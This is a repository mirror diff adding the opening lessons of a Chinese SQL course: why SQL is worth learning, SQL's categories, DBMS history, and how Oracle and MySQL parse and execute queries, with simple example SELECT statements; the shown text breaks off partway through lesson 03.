mirror of
https://github.com/cheetahlou/CategoryResourceRepost.git
synced 2025-11-16 14:13:46 +08:00
del
This commit is contained in:
101
极客时间专栏/geek/SQL必知必会/开篇词/开篇词丨SQL可能是你掌握的最有用的技能.md
Normal file
101
极客时间专栏/geek/SQL必知必会/开篇词/开篇词丨SQL可能是你掌握的最有用的技能.md
Normal file
@@ -0,0 +1,101 @@
|
||||
<audio id="audio" title="开篇词丨SQL可能是你掌握的最有用的技能" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/2f/ba/2f1e257adfee55598c1da180c4a643ba.mp3"></audio>
|
||||
|
||||
1946年,世界上第一台电脑诞生,如今,借由这台电脑发展起来的互联网已经自成江湖。在这几十年里,无数的技术、产业在这片江湖里沉浮,有的方兴未艾,有的已经几幕兴衰。
|
||||
|
||||
但在这片浩荡的波动里,有一门技术从未消失,甚至“老当益壮”,那就是SQL。
|
||||
|
||||
SQL作为与数据直接打交道的语言,是与各种前端、后端语言进行交互的“中台”语言。
|
||||
|
||||
不论是前端工程师,还是后端算法工程师,都一定会和数据打交道,都需要了解如何又快又准确地提取自己想要的数据。更别提数据分析师了,他们的工作就是和数据打交道,整理不同的报告,以便指导业务决策。
|
||||
|
||||
尽管技术人员或多或少地会使用SQL,但不同的人编写出来的SQL的效率是不同的,比如说一份好的SQL执行计划就会尽量减少I/O操作,因为I/O是DBMS最容易出现瓶颈的地方,可以说数据库操作中有大量的时间都花在了I/O上。
|
||||
|
||||
此外,你还需要考虑如何降低CPU的计算量,在SQL语句中使用GROUP BY、ORDER BY等这些语句会消耗大量的CPU计算资源,因此我们需要从全局出发,不仅需要考虑数据库的I/O性能,还需要考虑CPU计算、内存使用情况等。
|
||||
|
||||
比如EXISTS查询和IN查询在某些情况下可以得到相同的结果,但是具体执行起来,哪个效率更高呢?
|
||||
|
||||
假设我把这个模式抽象为下面这样:
|
||||
|
||||
```
|
||||
SELECT * FROM A WHERE cc IN (SELECT cc FROM B)
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
SELECT * FROM A WHERE EXISTS (SELECT cc FROM B WHERE B.cc=A.cc)
|
||||
|
||||
```
|
||||
|
||||
在查询过程中,我们需要判断表A和表B的大小。如果在有索引的情况下,表A比表B大,那么IN子查询的效率比EXISTS子查询效率高。
|
||||
|
||||
当然,SQL的实用和强大远远不止体现在IT技术领域,在产品和运营方面,SQL更是发挥了它强大的威力。
|
||||
|
||||
举个例子吧,假设你是一款游戏的产品经理,你想查询各种条件下的英雄都有哪些,比如最大生命值大于7000的法师英雄都有谁,那么你会怎么做呢?是找研发帮忙?还是从大量的数据里慢慢找?
|
||||
|
||||
当然这两种方式都可以,但如果每次都找研发也怪不好意思的,自己动手找吧,效率又很低。
|
||||
|
||||
实际上用一条SQL语句,你就可以直接从数据表中得到答案:
|
||||
|
||||
```
|
||||
SELECT * FROM heros WHERE hp_max >= 7000 AND role = '法师'
|
||||
|
||||
```
|
||||
|
||||
SQL语句直观到你就算没有SQL基础,也能凭借英语基础猜出它的大致意思。这就是SQL最大的特点。
|
||||
|
||||
假如你是一名运营人员,想要看下7天内的新增用户数有多少,该怎么做呢?首先我们需要获取现在的时间,使用NOW()函数即可,然后把它转化成天数,与用户的注册时间进行对比,小于7天的时间即是我们的筛选条件,最后就可以得到想要的数据了:
|
||||
|
||||
```
|
||||
SELECT COUNT(*) as num FROM new_user WHERE TO_DAYS(NOW())-TO_DAYS(regist_time)<=7
|
||||
|
||||
```
|
||||
|
||||
上面举的两个例子属于相对简单的SQL查询,SQL还可以帮助你统计每日新增、每日活跃、次日留存的数据。
|
||||
|
||||
事实上除了业务之外,基于数据的各种技术中也会用到SQL,比如OLTP(联机事务处理过程)、OLAP(联机分析处理过程)、RDBMS(对象关系型数据库管理系统)。甚至是在NoSQL的阵营上,如今也在使用类似SQL的操作,要知道,提出NoSQL这个概念的初衷就是远离SQL,但如今人们更愿意把NoSQL定义为Not Only SQL(不只是SQL)。此外在我们熟悉的XML、JSON等数据格式中,都存在着各种SQL,比如用于XML的SQL、用于JSON的SQL等。除此以外,还包括了用于记录地理位置信息的SQL、用于搜索的SQL、用于时间序列数据的SQL、用于流的SQL等。
|
||||
|
||||
可以说不论是和业务打交道,还是和数据相关的技术打交道,都需要SQL。
|
||||
|
||||
如果你从事编程或身处互联网行业,那么没有什么比学习SQL语言更有价值。SQL可能是你掌握的最有用的技能。对数据了解的需求往往是高频的,因此自己掌握SQL在实际工作中是非常有必要的。
|
||||
|
||||
**不论是产品经理、运营人员,还是开发人员、数据分析师,你都可以用到SQL语言。它就像一把利剑,除了可以提高你的工作效率之外,还能扩大你的工作视野。**
|
||||
|
||||
如果你没有SQL基础,我希望这个专栏可以帮助你彻底理解SQL,从而开启你的数据之旅,比如如何用SQL检索数据、过滤数据,如何使用SQL函数、子查询……考虑到在实际工作中,你还会接触到不同的关系型数据库管理系统,我还会讲解SQL在不同的数据库管理系统中是如何使用的。
|
||||
|
||||
即使对于有SQL基础的同学来说,面对同样的SQL语句,查询效率可能千差万别。在你实际工作的时候,如何快速定位SQL的性能问题,并找到正确的优化方案会让你的价值倍增。
|
||||
|
||||
数据是SQL的生命力,你不用担心面对干巴巴的SQL语言而感到无从下手,为了避免纸上谈兵,让你在工作中更容易、更熟练地使用SQL,我特意**为专栏建了一个王者荣耀数据库和NBA球员数据库**。这些数据库既是我在讲解SQL时要用到的事例,也是你课后练习的素材。
|
||||
|
||||
我相信以理论为骨,以数据库为翼,才能让你在消化理论的同时也能上手练习,真正了解和驾驭SQL这门语言。
|
||||
|
||||
因此,我把专栏分成了四个部分,既可以让你掌握SQL这门语言,也可以让你了解最新的数据库管理技术。
|
||||
|
||||
### 1. 基础篇
|
||||
|
||||
SQL的语法非常简单,就像英语一样,但它的功能却很强大,可以帮助我们对数据实现索引、排序、分组等功能。但是这些命令在不同的数据库管理系统中的使用却有所差异,因此在专栏中,我不仅会重点讲解SQL本身的语法,还会讲解这些语法在类似MySQL、Oracle、SQL Server等不同的数据库管理系统中是如何使用的。
|
||||
|
||||
### 2. 进阶篇
|
||||
|
||||
很多人在写SQL的时候都会遇到这样的问题:“同样都是用SQL查询数据,为什么我写的语句要比别人的慢?”
|
||||
|
||||
事实上,就是因为SQL语法简单,导致很多人写的时候不拘小节,比如搞混了关键词的顺序,这就在无意中降低了SQL的执行效率。
|
||||
|
||||
在这一部分,我会讲解在实际工作中,使用SQL经常会遇到的问题,以及如何使用工具进行分析,快速定位性能问题及解决方案。
|
||||
|
||||
### 3. 高级篇
|
||||
|
||||
在大数据的时代,诞生了很多适用于不同场景的数据库管理系统,既有基于SQL的关系型数据库,比如Oracle、MySQL、SQL Server、Access、WebSQL、SQLite等,也有NoSQL非关系型数据库,比如MongoDB、Redis等。
|
||||
|
||||
在这一部分中,我会讲一讲各种主流数据库管理系统的使用。
|
||||
|
||||
### 4. 实战篇
|
||||
|
||||
以上几个部分是在帮你梳理SQL的知识体系,但只有学会用SQL系统地进行项目实战,你才能真正地学以致用,让SQL为你的工作助力。
|
||||
|
||||
在这一部分中,我会结合数据分析的项目,为你讲解SQL的实战案例,比如如何用SQL做数据清洗、数据集成等。
|
||||
|
||||
如果你是一名程序员,那么会用SQL无疑是你的基本技能;如果你是产品经理或者运营人员,那么SQL将会为你打开一个全新的世界,让你从不一样的视角看待数据,利用数据。
|
||||
|
||||
我希望这个专栏可以带你走进SQL的世界,让你掌握它的基础语法,学会分析性能问题,一步步精通SQL。这时你会发现,原本毫无规则、抽象的数据仿佛一下子具象了,变得会说话了,它会告诉你数据之间彼此的关联、背后所代表的含义……
|
||||
|
||||
SQL让我们看到了数据的奇妙,你想不想和我一起开启这场SQL学习之旅呢?
|
||||
8
极客时间专栏/geek/SQL必知必会/期末考试/期末测试丨对于SQL的有关内容,你掌握了多少呢?.md
Normal file
8
极客时间专栏/geek/SQL必知必会/期末考试/期末测试丨对于SQL的有关内容,你掌握了多少呢?.md
Normal file
@@ -0,0 +1,8 @@
|
||||
|
||||
你好,我是陈旸。
|
||||
|
||||
《SQL必知必会》这个专栏已经完结很久了,在完结的这段时间里,我依然能收到很多评论。在这些评论中,有认真回答课后思考题的,也有积极提问的。这些评论极大地丰富了专栏的内容,感谢你一直以来的认真学习和支持。
|
||||
|
||||
为了让你更好地检测自己的学习成果,我特意做了一套期末测试题。题目共有20道,满分为100分,快来检测一下吧!
|
||||
|
||||
[<img src="https://static001.geekbang.org/resource/image/28/a4/28d1be62669b4f3cc01c36466bf811a4.png" alt="">](http://time.geekbang.org/quiz/intro?act_id=85&exam_id=158)
|
||||
80
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/01丨了解SQL:一门半衰期很长的语言.md
Normal file
80
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/01丨了解SQL:一门半衰期很长的语言.md
Normal file
@@ -0,0 +1,80 @@
|
||||
<audio id="audio" title="01丨了解SQL:一门半衰期很长的语言" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/40/c3/407ef2c27870f4c4b30739688debf0c3.mp3"></audio>
|
||||
|
||||
在我们的日常工作中,使用的是类似MySQL、Oracle这种的数据库管理系统,实际上这些数据库管理系统都遵循SQL语言,这就意味着,我们在使用这些数据库的时候,都是通过SQL语言与它们打交道。所以对于从事编程或者互联网行业的人来说,最具有中台能力的语言便是SQL语言。自从SQL加入了TIOBE编程语言排行榜,就一直保持在Top 10。
|
||||
|
||||
1. SQL语言无处不在,它对于不同职位的人来说都有价值。SQL已经不仅仅是技术人员需要掌握的技能,产品经理、运营人员也同样需要掌握SQL。
|
||||
1. SQL语言从诞生到现在,很少变化。这就意味着一旦你掌握了它,就可以一劳永逸,至少在你的职业生涯中,它都可以发挥作用。
|
||||
1. SQL入门并不难。
|
||||
|
||||
## 半衰期很长的SQL
|
||||
|
||||
可以说在整个数字化的世界中,最重要而且最通用的元基础就是数据,而直接与数据打交道的语言就是SQL语言。很多人忽视了SQL语言的重要性,认为它不就是SELECT语句吗,掌握它应该是数据分析师的事。事实上在实际工作中,你不应该低估SQL的作用。如今互联网的很多业务处理离不开SQL,因为它们都需要与数据打交道。
|
||||
|
||||
SQL在各种技术和业务中无处不在,它的情况又是怎样的呢?45年前,也就是1974年,IBM研究员发布了一篇揭开数据库技术的论文《SEQUEL:一门结构化的英语查询语言》,直到今天这门结构化的查询语言并没有太大的变化,相比于其他语言,SQL的半衰期可以说是非常长了。
|
||||
|
||||
SQL有两个重要的标准,分别是SQL92和SQL99,它们分别代表了92年和99年颁布的SQL标准,我们今天使用的SQL语言依然遵循这些标准。要知道92年是Windows3.1发布的时间,如今还有多少人记得它,但如果你从事数据分析,或者和数据相关的工作,依然会用到SQL语言。
|
||||
|
||||
作为技术和互联网行业的从业人员,我们总是希望能找到一个通用性强,变化相对少,上手相对容易的语言,SQL正是为数不多的,可以满足这三个条件的语言。
|
||||
|
||||
## 入门SQL并不难
|
||||
|
||||
SQL功能这么强大,那么学起来会很难吗?一点也不。SQL不需要像其他语言那样,学习起来需要大量的程序语言基础,SQL更像是一门英语,有一些简单的英语单词,当你使用它的时候,就好像在用英语与数据库进行对话。
|
||||
|
||||
我们可以把SQL语言按照功能划分成以下的4个部分:
|
||||
|
||||
1. DDL,英文叫做Data Definition Language,也就是数据定义语言,它用来定义我们的数据库对象,包括数据库、数据表和列。通过使用DDL,我们可以创建,删除和修改数据库和表结构。
|
||||
1. DML,英文叫做Data Manipulation Language,数据操作语言,我们用它操作和数据库相关的记录,比如增加、删除、修改数据表中的记录。
|
||||
1. DCL,英文叫做Data Control Language,数据控制语言,我们用它来定义访问权限和安全级别。
|
||||
1. DQL,英文叫做Data Query Language,数据查询语言,我们用它查询想要的记录,它是SQL语言的重中之重。在实际的业务中,我们绝大多数情况下都是在和查询打交道,因此学会编写正确且高效的查询语句,是学习的重点。
|
||||
|
||||
学习SQL就像学习英文语法一样。SQL 是为数不多的声明性语言,这种语言的特点就是,你只需要告诉计算机,你想从原始数据中获取什么样的数据结果即可。比如我想找主要角色定位是战士的英雄,以及他们的英雄名和最大生命值,就可以输入下面的语言:
|
||||
|
||||
```
|
||||
SELECT name, hp_max FROM heros WHERE role_main = '战士'
|
||||
|
||||
```
|
||||
|
||||
这里我定义了heros数据表,包括了name、hp_max、role_main等字段,具体的数据表我会在后面的课程中作为示例讲解,这里只是做个简单的说明。
|
||||
|
||||
你能从这段代码看出,我并没有告诉计算机该如何执行才能得到结果,这也是声明性语言最大的便捷性。我们不需要指定具体的执行步骤,比如先执行哪一步,再执行哪一步,在执行前是否要检查是否满足条件A等等这些传统的编程思维。
|
||||
|
||||
SQL语言定义了我们的需求,而不同的DBMS(数据库管理系统)则会按照指定的SQL帮我们提取想要的结果,这样是不是很棒!
|
||||
|
||||
## 开启SQL之旅
|
||||
|
||||
SQL是我们与DBMS交流的语言,我们在创建DBMS之前,还需要对它进行设计,对于RDBMS来说采用的是ER图(Entity Relationship Diagram),即实体-关系图的方式进行设计。
|
||||
|
||||
ER图评审通过后,我们再用SQL语句或者可视化管理工具(如Navicat)创建数据表。
|
||||
|
||||
实体-关系图有什么用呢?它是我们用来描述现实世界的概念模型,在这个模型中有3个要素:实体、属性、关系。
|
||||
|
||||
实体就是我们要管理的对象,属性是标识每个实体的属性,关系则是对象之间的关系。比如我们创建了“英雄”这个实体,那么它下面的属性包括了姓名、职业、最大生命值、初始生命值、最大魔法值、初始魔法值和攻击范围等。同时,我们还有“用户”这个实体,它下面的属性包括用户ID、登录名、密码、性别和头像等。
|
||||
|
||||
“英雄”和“用户”这两个实体之间就是多对多的关系,也就是说一个英雄可以从属多个用户,而一个用户也可以拥有多个英雄。
|
||||
|
||||
除了多对多之外,也有一对一和一对多的关系。
|
||||
|
||||
创建完数据表之后,我们就可以用SQL操作了。你能看到很多SQL语句的大小写不统一,虽然大小写不会影响SQL的执行,不过我还是推荐你采用统一的书写规范,因为好的代码规范是提高效率的关键。
|
||||
|
||||
关于SQL大小写的问题,我总结了下面两点:
|
||||
|
||||
1. 表名、表别名、字段名、字段别名等都小写;
|
||||
1. SQL保留字、函数名、绑定变量等都大写。
|
||||
|
||||
比如下面这个SQL语句:
|
||||
|
||||
```
|
||||
SELECT name, hp_max FROM heros WHERE role_main = '战士'
|
||||
|
||||
```
|
||||
|
||||
你能看到SELECT、FROM、WHERE这些常用的SQL保留字都采用了大写,而name、hp_max、role_main这些字段名,表名都采用了小写。此外在数据表的字段名推荐采用下划线命名,比如role_main这种。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我带你初步了解了SQL语言,当然,SQL再简单,也还是需要你一步一步,从点滴做起,先掌握基本的DDL、DML、DCL和DQL语法,再了解不同的DBMS中的SQL语法差异,然后再来看如何优化,提升SQL的效率。要想写出高性能的SQL,首先要了解它的原理,其次就是做大量的练习。
|
||||
|
||||
SQL的价值在于通用性强(市场需求普遍),半衰期长(一次学习终身受用),入门不难。实际上,很多事情的价值都可以按照这三点来进行判断,比如一个产品的市场价值。如果你是一名产品经理,你是喜欢通用性更强的产品,还是喜欢更个性的产品。今天的文章只是简单预热,你可能也会有一些感悟,不妨说说你对一个产品或者语言的市场价值的理解。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ca/11/ca5cb085cbb961ac1569d3e22b404e11.jpg" alt=""><br>
|
||||
欢迎你在评论区写下你的心得,也欢迎把这篇文章分享给你的朋友或者同事,让更多人了解SQL这门语言。
|
||||
88
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/02丨DBMS的前世今生.md
Normal file
88
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/02丨DBMS的前世今生.md
Normal file
@@ -0,0 +1,88 @@
|
||||
<audio id="audio" title="02丨DBMS的前世今生" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/82/46/82aba5e8d81c9ac11c675c79d2d7b246.mp3"></audio>
|
||||
|
||||
上一讲我们介绍过两个IBM研究员在1974年发表了一篇有关结构化英语查询语言的论文,并将这门语言命名为SEQUEL。SEQUEL的语言标准是开放的,但是围绕它的商业化竞争却从来没有停止过。首先因为商标之争,SEQUEL改名为SQL,后来有一个重量级的公司基于那篇论文研发出了商业化的数据库管理软件,这就是Oracle。自此之后,又诞生了一堆大家熟知的DBMS,比如MySQL、SQL Server、PostgreSQL、DB2和MongoDB等。
|
||||
|
||||
我们今天了解一下这些数据库管理软件,也就是DBMS。为什么需要了解它们呢?因为在工作中,我们通常都是和这些数据库管理软件打交道,只不过SQL是它们的通用语言。
|
||||
|
||||
今天我们先从SQL语言中跳脱出来,来分析下这些DBMS。关于今天的内容,你可以从以下几个方面进行思考:
|
||||
|
||||
1. 主流的DBMS都有哪些,它们各自都有哪些特点;
|
||||
1. 既然SQL是通用的标准语言,为什么能存在这么多DBMS;
|
||||
1. 从这些DBMS的发展史中,你有哪些感悟。
|
||||
|
||||
## DB、DBS和DBMS的区别是什么
|
||||
|
||||
说到DBMS,有一些概念你需要了解。
|
||||
|
||||
DBMS的英文全称是DataBase Management System,数据库管理系统,实际上它可以对多个数据库进行管理,所以你可以理解为DBMS = 多个数据库(DB) + 管理程序。
|
||||
|
||||
DB的英文是DataBase,也就是数据库。数据库是存储数据的集合,你可以把它理解为多个数据表。
|
||||
|
||||
DBS的英文是DataBase System,数据库系统。它是更大的概念,包括了数据库、数据库管理系统以及数据库管理人员DBA。
|
||||
|
||||
这里需要注意的是,虽然我们有时候把Oracle、MySQL等称之为数据库,但确切讲,它们应该是数据库管理系统,即DBMS。
|
||||
|
||||
## 排名前20的DBMS都有哪些?
|
||||
|
||||
了解了DBMS的概念之后,我们来看下当前主流的DBMS都有哪些。下面这张表是2019年5月DB-Engines公布的DBMS的排名(每年的排名会有更新,主要依据这些DBMS在搜索引擎上的热度):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a7/91/a7237ddbe4ca69353bd21a6eff35d391.png" alt="">
|
||||
|
||||
从排名中我们能看出来,关系型数据库绝对是DBMS的主流,其中使用最多的DBMS分别是Oracle、MySQL和SQL Server。
|
||||
|
||||
关系型数据库(RDBMS)就是建立在关系模型基础上的数据库,SQL就是关系型数据库的查询语言。
|
||||
|
||||
相比于SQL,NoSQL泛指非关系型数据库,包括了榜单上的键值型数据库、文档型数据库、搜索引擎和列存储等,除此以外还包括图形数据库。
|
||||
|
||||
键值型数据库通过Key-Value键值的方式来存储数据,其中Key和Value可以是简单的对象,也可以是复杂的对象。Key作为唯一的标识符,优点是查找速度快,在这方面明显优于关系型数据库,同时缺点也很明显,它无法像关系型数据库一样自由使用条件过滤(比如WHERE),如果你不知道去哪里找数据,就要遍历所有的键,这就会消耗大量的计算。键值型数据库典型的使用场景是作为内容缓存。Redis是最流行的键值型数据库。
|
||||
|
||||
文档型数据库用来管理文档,在数据库中文档作为处理信息的基本单位,一个文档就相当于一条记录,MongoDB是最流行的文档型数据库。
|
||||
|
||||
搜索引擎也是数据库检索中的重要应用,常见的全文搜索引擎有Elasticsearch、Splunk和Solr。虽然关系型数据库采用了索引提升检索效率,但是针对全文索引效率却较低。搜索引擎的优势在于采用了全文搜索的技术,核心原理是“倒排索引”。
|
||||
|
||||
列式数据库是相对于行式存储的数据库,Oracle、MySQL、SQL Server等数据库都是采用的行式存储(Row-based),而列式数据库是将数据按照列存储到数据库中,这样做的好处是可以大量降低系统的I/O,适合于分布式文件系统,不足在于功能相对有限。
|
||||
|
||||
图形数据库,利用了图这种数据结构存储了实体(对象)之间的关系。最典型的例子就是社交网络中人与人的关系,数据模型主要是以节点和边(关系)来实现,特点在于能高效地解决复杂的关系问题。
|
||||
|
||||
## SQL阵营与NoSQL阵营
|
||||
|
||||
NoSQL的分类很多,刚才提到的键值型、文档型、搜索引擎、列式存储和图形数据库等都属于NoSQL阵营。也只有用NoSQL一词才能将这些技术囊括进来。即便如此,在DBMS排名中,还是SQL阵营的比重更大,影响力前5的DBMS中有4个是关系型数据库,而排名前20的DBMS中也有12个是关系型数据库。所以说,掌握SQL是非常有必要的。
|
||||
|
||||
由于SQL一直称霸DBMS,因此许多人在思考是否有一种数据库技术能远离SQL,于是NoSQL诞生了,但是随着发展却发现越来越离不开SQL。到目前为止NoSQL阵营中的DBMS都会有实现类似SQL的功能。下面是“NoSQL”这个名词在不同时期的诠释,从这些释义的变化中可以看出NoSQL功能的演变:
|
||||
|
||||
1970:NoSQL = We have no SQL
|
||||
|
||||
1980:NoSQL = Know SQL
|
||||
|
||||
2000:NoSQL = No SQL!
|
||||
|
||||
2005:NoSQL = Not only SQL
|
||||
|
||||
2013:NoSQL = No, SQL!
|
||||
|
||||
NoSQL对SQL做出了很好的补充,它可以让我们在云计算时代,更好地使用数据库技术,比如快速读写,这样可以用低廉的成本,更方便进行扩展。整个专栏的学习也将围绕SQL展开,同时你还需要了解SQL阵营中不同的DBMS之间的使用差异。这些DBMS除了支持SQL标准以外,还会有自己的“方言”,也就是自己独有的语法。在专栏中,我也会对近些年热门的NoSQL进行讲解,方便你在后续使用中更快上手。
|
||||
|
||||
## SQL阵营中的DBMS
|
||||
|
||||
如果我们把数据互通作为当今数字化社会发展的大中台能力,那么DBMS无疑是一个巨大的市场。在这个市场中,排名前20的DBMS有12个属于SQL阵营,其中排名前3名的DBMS均为SQL阵营,它们分别是Oracle、MySQL和SQL Server。这三家的市场份额远超其他DBMS的市场份额。
|
||||
|
||||
下面,我们来简单介绍下这三个主流DBMS的发展。
|
||||
|
||||
1979年,Oracle 2诞生,它是第一个商用的RDBMS(关系型数据库管理系统),随后被卖给了军方客户。随着Oracle软件的名气越来越大,公司也改叫Oracle公司。20世纪90年代,Oracle的创始人埃里森成为继比尔·盖茨之后第二富有的人,可以说IBM缔造了两个帝国,一个是软件业的霸主微软,另一个是企业软件市场的霸主Oracle。如今Oracle的年收入达到了400亿美金,足以证明商用数据库软件的价值。从这点我们也能看出,如果选择了一个大的赛道,就要尽早商业化,占据大型企业客户完全可以创建巨大的商业价值,也足以证明一个软件企业不需要靠卖硬件也可以挣到很多钱。
|
||||
|
||||
MySQL是1995年诞生的开源数据库管理系统,因为免费开源的特性,得到了开发者的喜爱,用户量迅速增长,成为开源数据库的No.1。但在发展过程中,MySQL先后两次被易手,先是在2008年被SUN收购,然后在2010年SUN被Oracle收购,于是Oracle同时拥有了MySQL的管理权,至此Oracle在数据库领域中成为绝对的领导者。从这里我们也能看到,虽然MySQL是免费的产品,但是使用人数多,就足以证明巨大的用户价值。一个有巨大用户价值的产品,即使没有直接的商业价值,但作为基础设施也会被商业巨头看上。
|
||||
|
||||
不过在Oracle收购MySQL的同时,MySQL的创造者担心MySQL有闭源的风险,因此创建了MySQL的分支项目MariaDB,MariaDB在绝大部分情况下都是与MySQL兼容的,并且增加了许多新的特性,比如支持更多的存储引擎类型。许多企业也由原来的MySQL纷纷转向了MariaDB。
|
||||
|
||||
SQL Server是微软开发的商业数据库,诞生于1989年。实际上微软还推出了Access数据库,它是一种桌面数据库,同时具备后台存储和前台界面开发的功能,更加轻量级,适合小型的应用场景。因为后台的存储空间有限,一般只有2G,Access的优势在于可以在前台便捷地进行界面开发。而SQL Server是大型数据库,用于后台的存储和查询,不具备界面开发的功能。从这里我们也能看出,即使SQL语言是通用的,但是为了满足不同用户的使用场景,会存在多个DBMS。比如Oracle更适合大型跨国企业的使用,因为他们对费用不敏感,但是对性能要求以及安全性有更高的要求,而MySQL更受到许多互联网公司,尤其是早期创业公司的青睐。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们简单梳理了DBMS的发展。1974年,SEQUEL论文发表,1979年,第一个商用关系型数据库Oracle 2诞生,1995年,MySQL开源数据库诞生,如今,NoSQL得到了发展,并且围绕SQL标准展开的DBMS竞赛从来没有停止过。在这段发展史中,既有SQL阵营,又有NoSQL阵营,既有商业数据库软件,又有开源产品,在不同的应用场景下,同一家公司也会有不同的DBMS布局。
|
||||
|
||||
如果说不同的DBMS代表了不同公司的利益,那么作为使用者的我们更应该注重的是这些DBMS的使用场景。比如Oracle作为市场占有率最高的商用数据库软件,适合大型的跨国企业,而针对轻量级的桌面数据库,我们采用Access就可以了。对于免费开源的产品来说,可以选用MySQL或者MariaDB。同时在NoSQL阵营中,我们也需要了解键值型、文档型、搜索引擎、列式数据库和图形数据库的区别。
|
||||
|
||||
我在文章中列举了排名前20的DBMS,你都使用过哪些呢?可以说说你的使用体会吗?另外你有没有想过,虽然SQL是通用的标准语言,但为什么能存在这么多DBMS呢?
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fc/d0/fcb0eba7fe352cb1dd5a17efc99d81d0.jpg" alt=""><br>
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事。
|
||||
175
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/03丨学会用数据库的方式思考SQL是如何执行的.md
Normal file
175
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/03丨学会用数据库的方式思考SQL是如何执行的.md
Normal file
@@ -0,0 +1,175 @@
|
||||
<audio id="audio" title="03丨学会用数据库的方式思考SQL是如何执行的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ad/07/ad590188d5b924bf34f75dd6f0324a07.mp3"></audio>
|
||||
|
||||
通过上一篇文章对不同的DBMS的介绍,你应该对它们有了一些基础的了解。虽然SQL是声明式语言,我们可以像使用英语一样使用它,不过在RDBMS(关系型数据库管理系统)中,SQL的实现方式还是有差别的。今天我们就从数据库的角度来思考一下SQL是如何被执行的。
|
||||
|
||||
关于今天的内容,你会从以下几个方面进行学习:
|
||||
|
||||
1. Oracle中的SQL是如何执行的,什么是硬解析和软解析;
|
||||
1. MySQL中的SQL是如何执行的,MySQL的体系结构又是怎样的;
|
||||
1. 什么是存储引擎,MySQL的存储引擎都有哪些?
|
||||
|
||||
## Oracle中的SQL是如何执行的
|
||||
|
||||
我们先来看下SQL在Oracle中的执行过程:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4b/70/4b43aeaf9bb0fe2d576757d3fef50070.png" alt=""><br>
|
||||
从上面这张图中可以看出,SQL语句在Oracle中经历了以下的几个步骤。
|
||||
|
||||
<li>
|
||||
语法检查:检查SQL拼写是否正确,如果不正确,Oracle会报语法错误。
|
||||
</li>
|
||||
<li>
|
||||
语义检查:检查SQL中的访问对象是否存在。比如我们在写SELECT语句的时候,列名写错了,系统就会提示错误。语法检查和语义检查的作用是保证SQL语句没有错误。
|
||||
</li>
|
||||
<li>
|
||||
权限检查:看用户是否具备访问该数据的权限。
|
||||
</li>
|
||||
<li>
|
||||
共享池检查:共享池(Shared Pool)是一块内存池,最主要的作用是缓存SQL语句和该语句的执行计划。Oracle通过检查共享池是否存在SQL语句的执行计划,来判断进行软解析,还是硬解析。那软解析和硬解析又该怎么理解呢?
|
||||
在共享池中,Oracle首先对SQL语句进行Hash运算,然后根据Hash值在库缓存(Library Cache)中查找,如果存在SQL语句的执行计划,就直接拿来执行,直接进入“执行器”的环节,这就是软解析。
|
||||
如果没有找到SQL语句和执行计划,Oracle就需要创建解析树进行解析,生成执行计划,进入“优化器”这个步骤,这就是硬解析。
|
||||
</li>
|
||||
<li>
|
||||
优化器:优化器中就是要进行硬解析,也就是决定怎么做,比如创建解析树,生成执行计划。
|
||||
</li>
|
||||
<li>
|
||||
执行器:当有了解析树和执行计划之后,就知道了SQL该怎么被执行,这样就可以在执行器中执行语句了。
|
||||
</li>
|
||||
|
||||
共享池是Oracle中的术语,包括了库缓存,数据字典缓冲区等。我们上面已经讲到了库缓存区,它主要缓存SQL语句和执行计划。而数据字典缓冲区存储的是Oracle中的对象定义,比如表、视图、索引等对象。当对SQL语句进行解析的时候,如果需要相关的数据,会从数据字典缓冲区中提取。
|
||||
|
||||
库缓存这一个步骤,决定了SQL语句是否需要进行硬解析。为了提升SQL的执行效率,我们应该尽量避免硬解析,因为在SQL的执行过程中,创建解析树,生成执行计划是很消耗资源的。
|
||||
|
||||
你可能会问,如何避免硬解析,尽量使用软解析呢?在Oracle中,绑定变量是它的一大特色。绑定变量就是在SQL语句中使用变量,通过不同的变量取值来改变SQL的执行结果。这样做的好处是能提升软解析的可能性,不足之处在于可能会导致生成的执行计划不够优化,因此是否需要绑定变量还需要视情况而定。
|
||||
|
||||
举个例子,我们可以使用下面的查询语句:
|
||||
|
||||
```
|
||||
SQL> select * from player where player_id = 10001;
|
||||
|
||||
```
|
||||
|
||||
你也可以使用绑定变量,如:
|
||||
|
||||
```
|
||||
SQL> select * from player where player_id = :player_id;
|
||||
|
||||
```
|
||||
|
||||
这两个查询语句的效率在Oracle中是完全不同的。如果你在查询player_id = 10001之后,还会查询10002、10003之类的数据,那么每一次查询都会创建一个新的查询解析。而第二种方式使用了绑定变量,那么在第一次查询之后,在共享池中就会存在这类查询的执行计划,也就是软解析。
|
||||
|
||||
因此我们可以通过使用绑定变量来减少硬解析,减少Oracle的解析工作量。但是这种方式也有缺点,使用动态SQL的方式,因为参数不同,会导致SQL的执行效率不同,同时SQL优化也会比较困难。
|
||||
|
||||
## MySQL中的SQL是如何执行的
|
||||
|
||||
Oracle中采用了共享池来判断SQL语句是否存在缓存和执行计划,通过这一步骤我们可以知道应该采用硬解析还是软解析。那么在MySQL中,SQL是如何被执行的呢?
|
||||
|
||||
首先MySQL是典型的C/S架构,即Client/Server架构,服务器端程序使用的mysqld。整体的MySQL流程如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c4/9e/c4b24ef2377e0d233af69925b0d7139e.png" alt=""><br>
|
||||
你能看到MySQL由三层组成:
|
||||
|
||||
1. 连接层:客户端和服务器端建立连接,客户端发送SQL至服务器端;
|
||||
1. SQL层:对SQL语句进行查询处理;
|
||||
